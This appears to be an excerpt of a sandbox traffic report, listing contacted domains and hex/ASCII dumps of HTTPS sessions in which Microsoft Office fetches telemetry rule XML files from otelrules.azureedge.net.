cdn.socket.io

aadcdn.msauth.net

www.w3schools.com

logincdn.msauth.net

aadcdn.msftauth.net

cdnjs.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.10	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:45 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:45 UTC	540	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:45 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 16 Oct 2024 23:23:28 GMT ETag: "0x8DCEE398ABC1464" x-ms-request-id: 9b525102-c01e-0066-798f-20a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221345Z-15b8d89586frzkk2umu6w8qnt800000005k000000000g4fu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:45 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-18 22:13:45 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-18 22:13:45 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-18 22:13:45 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-18 22:13:45 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-18 22:13:45 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-18 22:13:46 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-18 22:13:46 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-18 22:13:46 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-18 22:13:46 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.10	49714	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:47 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:47 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: c0f4f78d-901e-007b-0b95-1fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221347Z-15b8d89586fs9clcebkvq6f0sc00000005p0000000009n14 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:47 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.10	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:47 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:47 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:47 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 4075f338-701e-0021-2ed8-1e3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221347Z-r197bdfb6b4qpk6v9629ad4b5s00000003y00000000087tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 22:13:47 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.10	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:47 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:47 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2bfbe8ba-001e-00ad-34d8-1e554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221347Z-15b8d89586fcvr6pym2snavm4w00000005v00000000075mz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:47 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.10	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:47 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:47 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c8d8f407-d01e-005a-22d8-1e7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221347Z-16b659b4499z4tq4vyreufa8gn00000008e000000000ds8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:47 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.10	49713	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:47 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:47 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:47 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 38849ee3-801e-008c-2cd8-1e7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221347Z-r197bdfb6b4kq4j5t834fh90qn000000024g00000000mgr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 22:13:47 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.10	49716	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 22:13:48 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 22:13:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 22:13:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 6d03a10a-901e-0016-1430-21efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T221348Z-15b8d89586fqj7k5uht6e8nnew00000005fg00000000e77y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
